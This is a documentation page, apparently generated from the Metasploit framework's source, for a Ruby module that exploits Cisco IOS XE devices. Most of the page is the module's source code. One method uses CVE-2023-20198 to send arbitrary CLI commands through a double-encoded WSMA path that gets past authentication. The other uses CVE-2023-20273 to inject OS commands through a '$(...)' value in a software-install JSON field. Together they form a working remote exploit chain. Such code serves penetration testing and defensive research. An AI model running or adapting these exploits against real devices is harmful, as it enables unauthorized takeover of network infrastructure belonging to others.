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Module: Msf::Exploit::Remote::HTTP::CiscoIosXe
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<span class="title">CiscoIosXe</span>
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<div id="content"><h1>Module: Msf::Exploit::Remote::HTTP::CiscoIosXe
</h1>
<div class="box_info">
<dl>
<dt>Defined in:</dt>
<dd>lib/msf/core/exploit/remote/http/cisco_ios_xe.rb</dd>
</dl>
</div>
<h2>Defined Under Namespace</h2>
<p class="children">
<strong class="classes">Classes:</strong> <span class='object_link'><a href="CiscoIosXe/Mode.html" title="Msf::Exploit::Remote::HTTP::CiscoIosXe::Mode (class)">Mode</a></span>
</p>
<h2>
Instance Method Summary
<small><a href="#" class="summary_toggle">collapse</a></small>
</h2>
<ul class="summary">
<li class="public ">
<span class="summary_signature">
<a href="#run_cli_command-instance_method" title="#run_cli_command (instance method)">#<strong>run_cli_command</strong>(cmd, mode, username = &#39;vty0&#39;) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'>
<p>Leverage CVE-2023-20198 to run an arbitrary CLI command against a vulnerable Cisco IOX XE device.</p>
</div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#run_os_command-instance_method" title="#run_os_command (instance method)">#<strong>run_os_command</strong>(cmd, admin_username, admin_password) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'>
<p>Leverage CVE-2023-20273 to run an arbitrary OS command against a vulnerable Cisco IOX XE device.</p>
</div></span>
</li>
</ul>
<div id="instance_method_details" class="method_details_list">
<h2>Instance Method Details</h2>
<div class="method_details first">
<h3 class="signature first" id="run_cli_command-instance_method">
#<strong>run_cli_command</strong>(cmd, mode, username = &#39;vty0&#39;) &#x21d2; <tt>Object</tt>
</h3><div class="docstring">
<div class="discussion">
<p>Leverage CVE-2023-20198 to run an arbitrary CLI command against a vulnerable Cisco IOX XE device.</p>
</div>
</div>
<div class="tags">
</div><table class="source_code">
<tr>
<td>
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<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/http/cisco_ios_xe.rb', line 22</span>
<span class='kw'>def</span> <span class='id identifier rubyid_run_cli_command'>run_cli_command</span><span class='lparen'>(</span><span class='id identifier rubyid_cmd'>cmd</span><span class='comma'>,</span> <span class='id identifier rubyid_mode'>mode</span><span class='comma'>,</span> <span class='id identifier rubyid_username'>username</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>vty0</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span>
<span class='kw'>case</span> <span class='id identifier rubyid_mode'>mode</span>
<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="CiscoIosXe/Mode.html" title="Msf::Exploit::Remote::HTTP::CiscoIosXe::Mode (class)">Mode</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="CiscoIosXe/Mode.html#USER_EXEC-constant" title="Msf::Exploit::Remote::HTTP::CiscoIosXe::Mode::USER_EXEC (constant)">USER_EXEC</a></span></span>
<span class='id identifier rubyid_cmd'>cmd</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>exit\nexit\n</span><span class='tstring_end'>&quot;</span></span> <span class='op'>+</span> <span class='id identifier rubyid_cmd'>cmd</span>
<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="CiscoIosXe/Mode.html" title="Msf::Exploit::Remote::HTTP::CiscoIosXe::Mode (class)">Mode</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="CiscoIosXe/Mode.html#PRIVILEGED_EXEC-constant" title="Msf::Exploit::Remote::HTTP::CiscoIosXe::Mode::PRIVILEGED_EXEC (constant)">PRIVILEGED_EXEC</a></span></span>
<span class='id identifier rubyid_cmd'>cmd</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>exit\n</span><span class='tstring_end'>&quot;</span></span> <span class='op'>+</span> <span class='id identifier rubyid_cmd'>cmd</span>
<span class='kw'>end</span>
<span class='comment'># As we place the cmd in CDATA, we cannot have the closing tag in the command.
</span> <span class='kw'>if</span> <span class='id identifier rubyid_cmd'>cmd</span><span class='period'>.</span><span class='id identifier rubyid_include?'>include?</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>]]&gt;</span><span class='tstring_end'>&#39;</span></span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>CLI command contain bad sequence &#39;]]&gt;&#39;.</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>return</span> <span class='kw'>nil</span>
<span class='kw'>end</span>
<span class='id identifier rubyid_xml'>xml</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>%(</span><span class='tstring_content'>&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;SOAP:Envelope xmlns:SOAP=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:SOAP-ENC=&quot;http://schemas.xmlsoap.org/soap/encoding/&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&gt;
&lt;SOAP:Header&gt;
&lt;wsse:Security xmlns:wsse=&quot;http://schemas.xmlsoap.org/ws/2002/04/secext&quot;&gt;
&lt;wsse:UsernameToken SOAP:mustUnderstand=&quot;false&quot;&gt;
&lt;wsse:Username&gt;</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_username'>username</span><span class='embexpr_end'>}</span><span class='tstring_content'>&lt;/wsse:Username&gt;
&lt;wsse:Password&gt;*****&lt;/wsse:Password&gt;
&lt;/wsse:UsernameToken&gt;
&lt;/wsse:Security&gt;
&lt;/SOAP:Header&gt;
&lt;SOAP:Body&gt;
&lt;request correlator=&quot;</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>&quot; xmlns=&quot;urn:cisco:wsma-config&quot;&gt;
&lt;configApply details=&quot;all&quot; action-on-fail=&quot;continue&quot;&gt;
&lt;config-data&gt;
&lt;cli-config-data-block&gt;&lt;![CDATA[</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cmd'>cmd</span><span class='embexpr_end'>}</span><span class='tstring_content'>]]&gt;&lt;/cli-config-data-block&gt;
&lt;/config-data&gt;
&lt;/configApply&gt;
&lt;/request&gt;
&lt;/SOAP:Body&gt;
&lt;/SOAP:Envelope&gt;</span><span class='tstring_end'>)</span></span>
<span class='id identifier rubyid_res'>res</span> <span class='op'>=</span> <span class='id identifier rubyid_send_request_cgi'>send_request_cgi</span><span class='lparen'>(</span>
<span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>method</span><span class='tstring_end'>&#39;</span></span> <span class='op'>=&gt;</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>POST</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span>
<span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>uri</span><span class='tstring_end'>&#39;</span></span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>SSL</span><span class='tstring_end'>&#39;</span></span><span class='rbracket'>]</span> <span class='op'>==</span> <span class='kw'>true</span> <span class='op'>?</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>/%2577eb%2575i_%2577sma_hTtPs</span><span class='tstring_end'>&#39;</span></span> <span class='op'>:</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>/%2577eb%2575i_%2577sma_hTtP</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span>
<span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>data</span><span class='tstring_end'>&#39;</span></span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_xml'>xml</span>
<span class='rparen'>)</span>
<span class='kw'>return</span> <span class='kw'>nil</span> <span class='kw'>unless</span> <span class='id identifier rubyid_res'>res</span><span class='op'>&amp;.</span><span class='id identifier rubyid_code'>code</span> <span class='op'>==</span> <span class='int'>200</span>
<span class='id identifier rubyid_xml_doc'>xml_doc</span> <span class='op'>=</span> <span class='const'>Nokogiri</span><span class='op'>::</span><span class='const'>XML</span><span class='lparen'>(</span><span class='id identifier rubyid_res'>res</span><span class='period'>.</span><span class='id identifier rubyid_body'>body</span><span class='rparen'>)</span>
<span class='id identifier rubyid_xml_doc'>xml_doc</span><span class='period'>.</span><span class='id identifier rubyid_remove_namespaces!'>remove_namespaces!</span>
<span class='id identifier rubyid_result'>result</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_end'>&#39;</span></span>
<span class='id identifier rubyid_xml_doc'>xml_doc</span><span class='period'>.</span><span class='id identifier rubyid_xpath'>xpath</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>//Envelope/Body/response/resultEntry/text</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_each'>each</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_val1'>val1</span><span class='op'>|</span>
<span class='id identifier rubyid_result'>result</span> <span class='op'>&lt;&lt;</span> <span class='id identifier rubyid_val1'>val1</span><span class='period'>.</span><span class='id identifier rubyid_content'>content</span><span class='period'>.</span><span class='id identifier rubyid_gsub'>gsub</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>^\*\*CLI Line # \d+: </span><span class='regexp_end'>/</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='id identifier rubyid_result'>result</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="run_os_command-instance_method">
#<strong>run_os_command</strong>(cmd, admin_username, admin_password) &#x21d2; <tt>Object</tt>
</h3><div class="docstring">
<div class="discussion">
<p>Leverage CVE-2023-20273 to run an arbitrary OS command against a vulnerable Cisco IOX XE device.</p>
</div>
</div>
<div class="tags">
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
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</td>
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<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/http/cisco_ios_xe.rb', line 80</span>
<span class='kw'>def</span> <span class='id identifier rubyid_run_os_command'>run_os_command</span><span class='lparen'>(</span><span class='id identifier rubyid_cmd'>cmd</span><span class='comma'>,</span> <span class='id identifier rubyid_admin_username'>admin_username</span><span class='comma'>,</span> <span class='id identifier rubyid_admin_password'>admin_password</span><span class='rparen'>)</span>
<span class='comment'># https://blog.leakix.net/2023/10/cisco-root-privesc/ reports that on version 17.* &#39;installMethod&#39; is now &#39;mode&#39;.
</span> <span class='comment'># We pass both to satisfy either version.
</span> <span class='id identifier rubyid_json'>json</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>%(</span><span class='tstring_content'>{
&quot;installMethod&quot;: &quot;tftp&quot;,
&quot;mode&quot;: &quot;tftp&quot;,
&quot;ipaddress&quot;: &quot;</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_hex'>rand_text_hex</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>:</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_hex'>rand_text_hex</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>:</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_hex'>rand_text_hex</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>:$(</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cmd'>cmd</span><span class='embexpr_end'>}</span><span class='tstring_content'>)&quot;,
&quot;operation_type&quot;: &quot;SMU&quot;,
&quot;filePath&quot;: &quot;</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>&quot;,
&quot;fileSystem&quot;: &quot;flash:&quot;
}</span><span class='tstring_end'>)</span></span>
<span class='id identifier rubyid_res'>res</span> <span class='op'>=</span> <span class='id identifier rubyid_send_request_cgi'>send_request_cgi</span><span class='lparen'>(</span>
<span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>method</span><span class='tstring_end'>&#39;</span></span> <span class='op'>=&gt;</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>POST</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span>
<span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>uri</span><span class='tstring_end'>&#39;</span></span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_normalize_uri'>normalize_uri</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>webui</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>rest</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>softwareMgmt</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>installAdd</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span><span class='comma'>,</span>
<span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>headers</span><span class='tstring_end'>&#39;</span></span> <span class='op'>=&gt;</span> <span class='lbrace'>{</span>
<span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Authorization</span><span class='tstring_end'>&#39;</span></span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_basic_auth'>basic_auth</span><span class='lparen'>(</span><span class='id identifier rubyid_admin_username'>admin_username</span><span class='comma'>,</span> <span class='id identifier rubyid_admin_password'>admin_password</span><span class='rparen'>)</span>
<span class='rbrace'>}</span><span class='comma'>,</span>
<span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>data</span><span class='tstring_end'>&#39;</span></span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_json'>json</span>
<span class='rparen'>)</span>
<span class='id identifier rubyid_res'>res</span><span class='op'>&amp;.</span><span class='id identifier rubyid_code'>code</span> <span class='op'>==</span> <span class='int'>200</span>
<span class='kw'>end</span></pre>
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